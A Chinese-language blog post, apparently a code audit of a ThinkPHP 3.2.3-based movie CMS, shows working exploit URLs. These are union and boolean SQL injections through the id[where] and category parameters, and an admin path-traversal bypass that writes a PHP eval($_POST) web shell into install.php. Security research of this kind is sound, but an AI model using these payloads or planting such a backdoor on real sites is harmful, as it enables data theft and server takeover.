前言
好久没有进行代码审计了,今天空闲选了一个较为简单的MVC架构的CMS进行练练手。源码下载地址版本为3.8.6。 该cms使用了THINKPHP3.2.3框架进行开发,并且没有修复其历史漏洞,这是其有多个漏洞的一个重要原因。
前端多个sql注入漏洞
ThinkPHP3.2框架sql注入漏洞
在ThinkPHP3.2框架中存在一个sql注入漏洞,其对select,find,delect方法都会产生影响。详细请参考:ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)在该套cms使用了这些方法大多存在sql注入漏洞。这里挑选一个前端比较好利用的点讲一下。
漏洞位置:/Home/Controller/MovieController.class.php
存在可控点id跟进入对应model可以看出
调用了find方法:
因为这里没有thinkphp的报错回显,直接有回显所以我们需要进行对payload进行修改:
1 | http://lfdycms.study/index.php/Home/Movie/index/?id[where]=0 union select 1,2,database(),(select version()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 -- |
用户自定义sql语句导致的注入
漏洞文件:/Home/Controller/AjaxController.class.php
中的randMovie方法转到/Home/Model/AjaxModel.class.php
发现是用户自定义的sql语句。没有防护直接注入。在后台添加一个电影数据。‘
然后执行payload:http://lfdycms.study/index.php/home/ajax/randMovie/?limit=1&category=44
显示正常
在使用http://lfdycms.study/index.php/home/ajax/randMovie/?limit=1&category=44 and 1 --
显示正常,在使用http://lfdycms.study/index.php/home/ajax/randMovie/?limit=1&category=44 and 0 --
显示为NULL存在注入。
后台任意文件修改
漏洞位置后台模板修改处,代码位置:TemplateController.class.php
文件的edit方法处。
可以看到路径参数path只是简单的把*替换成/的简单防御。我们可以使用*替换/即可绕过
编辑install.php文件:
payload:http://lfdycms.study/admin.php?s=/Template/edit/path/*..*install.php
但是在测试过程中发现在浏览器无论怎么修改发出去的包都是原来的文件内容(bug??),通过burp抓包,在content内容最后面添加代码:%0D%0Aeval(%24_POST%5b%27EASY%27%5d)%3b
,修改文件路径,发包发现成功修改。
在查看文件内容,成功写入。
- 本文作者: EASY
- 本文链接: http://example.com/2020/08/03/lfdcms/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!